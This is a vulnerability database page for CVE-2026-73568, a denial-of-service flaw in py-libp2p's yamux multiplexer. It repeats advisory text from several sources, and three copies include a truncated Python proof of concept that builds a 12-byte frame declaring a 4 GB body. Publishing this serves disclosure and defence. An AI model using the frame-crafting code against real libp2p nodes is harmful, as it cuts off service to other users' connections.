Every CVE Search/ Get API key

CVE-2026-73568

py-libp2p: yamux connection DoS via oversized data frame

7.5 High

py-libp2p is the Python implementation of the libp2p networking stack. In 0.7.0 and earlier, the yamux handle_incoming() method in libp2p/stream_muxer/yamux/yamux.py reads an attacker-controlled 32-bit DATA frame length with read_exactly() before validating it against MAX_WINDOW_SIZE or checking whether stream_id exists. A peer that completes the standard Noise handshake can send a 12-byte frame declaring a 0xFFFFFFFF body and then withhold the body, causing the sequential yamux read loop used by the default new_host() configuration to block and preventing every stream on that connection from making progress. No fixed version is available as of this review.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.49%Up 0.1 points since Aug 14, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

py-libp2p: yamux connection DoS via oversized data frame

py-libp2p is the Python implementation of the libp2p networking stack. In 0.7.0 and earlier, the yamux handle_incoming() method in libp2p/stream_muxer/yamux/yamux.py reads an attacker-controlled 32-bit DATA frame length with read_exactly() before validating it against MAX_WINDOW_SIZE or checking whether stream_id exists. A peer that completes the standard Noise handshake can send a 12-byte frame declaring a 0xFFFFFFFF body and then withhold the body, causing the sequential yamux read loop used by the default new_host() configuration to block and preventing every stream on that connection from making progress. No fixed version is available as of this review.

Record
CVE-2026-73568
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
EUVDEUVD-2026-58183 7.5

py-libp2p is the Python implementation of the libp2p networking stack. In 0.7.0 and earlier, the yamux handle_incoming() method in libp2p/stream_muxer/yamux/yamux.py reads an attacker-controlled 32-bit DATA frame length with read_exactly() before validating it against MAX_WINDOW_SIZE or checking whether stream_id exists. A peer that completes the standard Noise handshake can send a 12-byte frame declaring a 0xFFFFFFFF body and then withhold the body, causing the sequential yamux read loop used by the default new_host() configuration to block and preventing every stream on that connection from making progress. No fixed version is available as of this review.

Record
EUVD-2026-58183
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-hmj8-5xmh-5573 7.5

libp2p: yamux connection DoS via oversized data frame

Summary

The yamux stream multiplexer in py-libp2p does not validate incoming DATA frame lengths against the receive window before reading the frame body. Any peer that completes a standard libp2p handshake can send a single 12-byte frame claiming a 4 GB body, causing the victim's yamux read loop to block indefinitely. This affects the default new_host() configuration and requires no special setup on either side.

Details

In libp2p/stream_muxer/yamux/yamux.py (lines 915 to 926), the handle_incoming() method dispatches on frame type. When a DATA frame arrives, it reads the body unconditionally:

elif typ == TYPE_DATA:
    try:
        data = (
            await read_exactly(self.secured_conn, length)
            if length > 0
            else b""
        )

The length field is taken directly from the wire-decoded frame header, a 32-bit unsigned integer with a maximum value of 4,294,967,295. There is no check that length fits within the stream's receive window (DEFAULT_WINDOW_SIZE = 256 * 1024 bytes). The body read also happens before the code checks whether the referenced stream_id even exists in self.streams (that check is at line 954), so any stream ID triggers the issue.

handle_incoming() itself is a single sequential loop with no timeout around the body read. Once read_exactly suspends waiting for data that never comes, the loop cannot process any subsequent frames. Every stream on that yamux connection stops working, and no exception is raised.

The same unguarded call appears in the SYN branch at lines 804 to 806, so a crafted SYN frame with a large length field triggers the same stall.

The yamux specification (section 3.3) explicitly requires the receiver to reset the stream if a sender transmits more data than the receive window allows. py-libp2p does not enforce this on the receiver side. All three comparable implementations do: go-yamux tracks recvWindow per stream and returns a SendWindowExceeded error on violation; rust-yamux validates frame length against the stream credit; js-libp2p yamux checks frame length against maxMessageSize.

PoC

The harness completes a normal noise handshake and yamux negotiation between two local hosts, confirms yamux is healthy with a pre-attack ping, then writes a single malicious frame directly to the attacker's secured connection. After a short pause, it attempts to open a new stream with a 3-second deadline. The stream open never completes.

File: test_poc.py

"""
author: @tahaafarooq
POC: yamux connection DoS via oversized data frame (connection DoS)
"""
import os
import secrets
import gc
import struct

import psutil
import trio
import multiaddr

from libp2p import new_host
from libp2p.crypto.ed25519 import create_new_key_pair
from libp2p.custom_types import TProtocol
from libp2p.peer.peerinfo import PeerInfo
from libp2p.stream_muxer.yamux.yamux import Yamux

LOOPBACK = multiaddr.Multiaddr("/ip4/127.0.0.1/tcp/0")
PING = TProtocol("/audit/ping/1.0.0")

YAMUX_HEADER_FORMAT = "!BBHII"
TYPE_DATA = 0x0
HUGE_LENGTH = 0xFFFF_FFFF  # max uint32 — 4,294,967,295 bytes


def craft_malicious_frame(stream_id: int = 1) -> bytes:
    """
    12-byte yamux DATA frame with flags=0 and length=4 GB.
    The stream_id is irrelevant: yamux reads the body BEFORE checking
    whether the stream exists.
    """
    return struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, 0, stream_id, HUGE_LENGTH)


def _get_yamux(host, peer_id) -> Yamux | None:
    swarm = host.get_network()
    conns = swarm.connections.get(peer_id)
    if conns is None:
        return None
    conn = conns[0] if isinstance(conns, list) else conns
    mc = conn.muxed_conn
    return mc if isinstance(mc, Yamux) else None


async def attack():
    proc = psutil.Process(os.getpid())
    rss0 = proc.memory_info().rss

    v_kp = create_new_key_pair(secrets.token_bytes(32))
    a_kp = create_new_key_pair(secrets.token_bytes(32))

    # DEFAULT new_host() — noise + yamux — no…
Record
GHSA-hmj8-5xmh-5573
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
NVD 7.5

py-libp2p is the Python implementation of the libp2p networking stack. In 0.7.0 and earlier, the yamux handle_incoming() method in libp2p/stream_muxer/yamux/yamux.py reads an attacker-controlled 32-bit DATA frame length with read_exactly() before validating it against MAX_WINDOW_SIZE or checking whether stream_id exists. A peer that completes the standard Noise handshake can send a 12-byte frame declaring a 0xFFFFFFFF body and then withhold the body, causing the sequential yamux read loop used by the default new_host() configuration to block and preventing every stream on that connection from making progress. No fixed version is available as of this review.

Record
CVE-2026-73568
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSV 7.5

py-libp2p: yamux connection DoS via oversized data frame

py-libp2p is the Python implementation of the libp2p networking stack. In 0.7.0 and earlier, the yamux handle_incoming() method in libp2p/stream_muxer/yamux/yamux.py reads an attacker-controlled 32-bit DATA frame length with read_exactly() before validating it against MAX_WINDOW_SIZE or checking whether stream_id exists. A peer that completes the standard Noise handshake can send a 12-byte frame declaring a 0xFFFFFFFF body and then withhold the body, causing the sequential yamux read loop used by the default new_host() configuration to block and preventing every stream on that connection from making progress. No fixed version is available as of this review.

Record
CVE-2026-73568
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSVGHSA-hmj8-5xmh-5573 7.5

libp2p: yamux connection DoS via oversized data frame

Summary

The yamux stream multiplexer in py-libp2p does not validate incoming DATA frame lengths against the receive window before reading the frame body. Any peer that completes a standard libp2p handshake can send a single 12-byte frame claiming a 4 GB body, causing the victim's yamux read loop to block indefinitely. This affects the default new_host() configuration and requires no special setup on either side.

Details

In libp2p/stream_muxer/yamux/yamux.py (lines 915 to 926), the handle_incoming() method dispatches on frame type. When a DATA frame arrives, it reads the body unconditionally:

elif typ == TYPE_DATA:
    try:
        data = (
            await read_exactly(self.secured_conn, length)
            if length > 0
            else b""
        )

The length field is taken directly from the wire-decoded frame header, a 32-bit unsigned integer with a maximum value of 4,294,967,295. There is no check that length fits within the stream's receive window (DEFAULT_WINDOW_SIZE = 256 * 1024 bytes). The body read also happens before the code checks whether the referenced stream_id even exists in self.streams (that check is at line 954), so any stream ID triggers the issue.

handle_incoming() itself is a single sequential loop with no timeout around the body read. Once read_exactly suspends waiting for data that never comes, the loop cannot process any subsequent frames. Every stream on that yamux connection stops working, and no exception is raised.

The same unguarded call appears in the SYN branch at lines 804 to 806, so a crafted SYN frame with a large length field triggers the same stall.

The yamux specification (section 3.3) explicitly requires the receiver to reset the stream if a sender transmits more data than the receive window allows. py-libp2p does not enforce this on the receiver side. All three comparable implementations do: go-yamux tracks recvWindow per stream and returns a SendWindowExceeded error on violation; rust-yamux validates frame length against the stream credit; js-libp2p yamux checks frame length against maxMessageSize.

PoC

The harness completes a normal noise handshake and yamux negotiation between two local hosts, confirms yamux is healthy with a pre-attack ping, then writes a single malicious frame directly to the attacker's secured connection. After a short pause, it attempts to open a new stream with a 3-second deadline. The stream open never completes.

File: test_poc.py

"""
author: @tahaafarooq
POC: yamux connection DoS via oversized data frame (connection DoS)
"""
import os
import secrets
import gc
import struct

import psutil
import trio
import multiaddr

from libp2p import new_host
from libp2p.crypto.ed25519 import create_new_key_pair
from libp2p.custom_types import TProtocol
from libp2p.peer.peerinfo import PeerInfo
from libp2p.stream_muxer.yamux.yamux import Yamux

LOOPBACK = multiaddr.Multiaddr("/ip4/127.0.0.1/tcp/0")
PING = TProtocol("/audit/ping/1.0.0")

YAMUX_HEADER_FORMAT = "!BBHII"
TYPE_DATA = 0x0
HUGE_LENGTH = 0xFFFF_FFFF  # max uint32 — 4,294,967,295 bytes


def craft_malicious_frame(stream_id: int = 1) -> bytes:
    """
    12-byte yamux DATA frame with flags=0 and length=4 GB.
    The stream_id is irrelevant: yamux reads the body BEFORE checking
    whether the stream exists.
    """
    return struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, 0, stream_id, HUGE_LENGTH)


def _get_yamux(host, peer_id) -> Yamux | None:
    swarm = host.get_network()
    conns = swarm.connections.get(peer_id)
    if conns is None:
        return None
    conn = conns[0] if isinstance(conns, list) else conns
    mc = conn.muxed_conn
    return mc if isinstance(mc, Yamux) else None


async def attack():
    proc = psutil.Process(os.getpid())
    rss0 = proc.memory_info().rss

    v_kp = create_new_key_pair(secrets.token_bytes(32))
    a_kp = create_new_key_pair(secrets.token_bytes(32))

    # DEFAULT new_host() — noise + yamux — no…
Record
GHSA-hmj8-5xmh-5573
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSVPYSEC-2026-3681 7.5

libp2p: yamux connection DoS via oversized data frame

Summary

The yamux stream multiplexer in py-libp2p does not validate incoming DATA frame lengths against the receive window before reading the frame body. Any peer that completes a standard libp2p handshake can send a single 12-byte frame claiming a 4 GB body, causing the victim's yamux read loop to block indefinitely. This affects the default new_host() configuration and requires no special setup on either side.

Details

In libp2p/stream_muxer/yamux/yamux.py (lines 915 to 926), the handle_incoming() method dispatches on frame type. When a DATA frame arrives, it reads the body unconditionally:

elif typ == TYPE_DATA:
    try:
        data = (
            await read_exactly(self.secured_conn, length)
            if length > 0
            else b""
        )

The length field is taken directly from the wire-decoded frame header, a 32-bit unsigned integer with a maximum value of 4,294,967,295. There is no check that length fits within the stream's receive window (DEFAULT_WINDOW_SIZE = 256 * 1024 bytes). The body read also happens before the code checks whether the referenced stream_id even exists in self.streams (that check is at line 954), so any stream ID triggers the issue.

handle_incoming() itself is a single sequential loop with no timeout around the body read. Once read_exactly suspends waiting for data that never comes, the loop cannot process any subsequent frames. Every stream on that yamux connection stops working, and no exception is raised.

The same unguarded call appears in the SYN branch at lines 804 to 806, so a crafted SYN frame with a large length field triggers the same stall.

The yamux specification (section 3.3) explicitly requires the receiver to reset the stream if a sender transmits more data than the receive window allows. py-libp2p does not enforce this on the receiver side. All three comparable implementations do: go-yamux tracks recvWindow per stream and returns a SendWindowExceeded error on violation; rust-yamux validates frame length against the stream credit; js-libp2p yamux checks frame length against maxMessageSize.

PoC

The harness completes a normal noise handshake and yamux negotiation between two local hosts, confirms yamux is healthy with a pre-attack ping, then writes a single malicious frame directly to the attacker's secured connection. After a short pause, it attempts to open a new stream with a 3-second deadline. The stream open never completes.

File: test_poc.py

"""
author: @tahaafarooq
POC: yamux connection DoS via oversized data frame (connection DoS)
"""
import os
import secrets
import gc
import struct

import psutil
import trio
import multiaddr

from libp2p import new_host
from libp2p.crypto.ed25519 import create_new_key_pair
from libp2p.custom_types import TProtocol
from libp2p.peer.peerinfo import PeerInfo
from libp2p.stream_muxer.yamux.yamux import Yamux

LOOPBACK = multiaddr.Multiaddr("/ip4/127.0.0.1/tcp/0")
PING = TProtocol("/audit/ping/1.0.0")

YAMUX_HEADER_FORMAT = "!BBHII"
TYPE_DATA = 0x0
HUGE_LENGTH = 0xFFFF_FFFF  # max uint32 — 4,294,967,295 bytes


def craft_malicious_frame(stream_id: int = 1) -> bytes:
    """
    12-byte yamux DATA frame with flags=0 and length=4 GB.
    The stream_id is irrelevant: yamux reads the body BEFORE checking
    whether the stream exists.
    """
    return struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, 0, stream_id, HUGE_LENGTH)


def _get_yamux(host, peer_id) -> Yamux | None:
    swarm = host.get_network()
    conns = swarm.connections.get(peer_id)
    if conns is None:
        return None
    conn = conns[0] if isinstance(conns, list) else conns
    mc = conn.muxed_conn
    return mc if isinstance(mc, Yamux) else None


async def attack():
    proc = psutil.Process(os.getpid())
    rss0 = proc.memory_info().rss

    v_kp = create_new_key_pair(secrets.token_bytes(32))
    a_kp = create_new_key_pair(secrets.token_bytes(32))

    # DEFAULT new_host() — noise + yamux — no…
Record
PYSEC-2026-3681
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
libp2p
PyPI
through 0.7.0 None known
libp2p
PyPI
through 0.7.0, plus listed versions
0.1.0a00.1.10.1.20.1.30.1.4
Show 15 moreShow less
0.1.50.2.00.2.10.2.20.2.30.2.40.2.50.2.60.2.70.2.80.2.90.3.00.4.00.5.00.6.0
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-73568 is a high vulnerability (CVSS 7.5) in Libp2p Py-libp2p, published July 24, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.49%, the 42nd percentile. No source names a fixed version.

References

This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open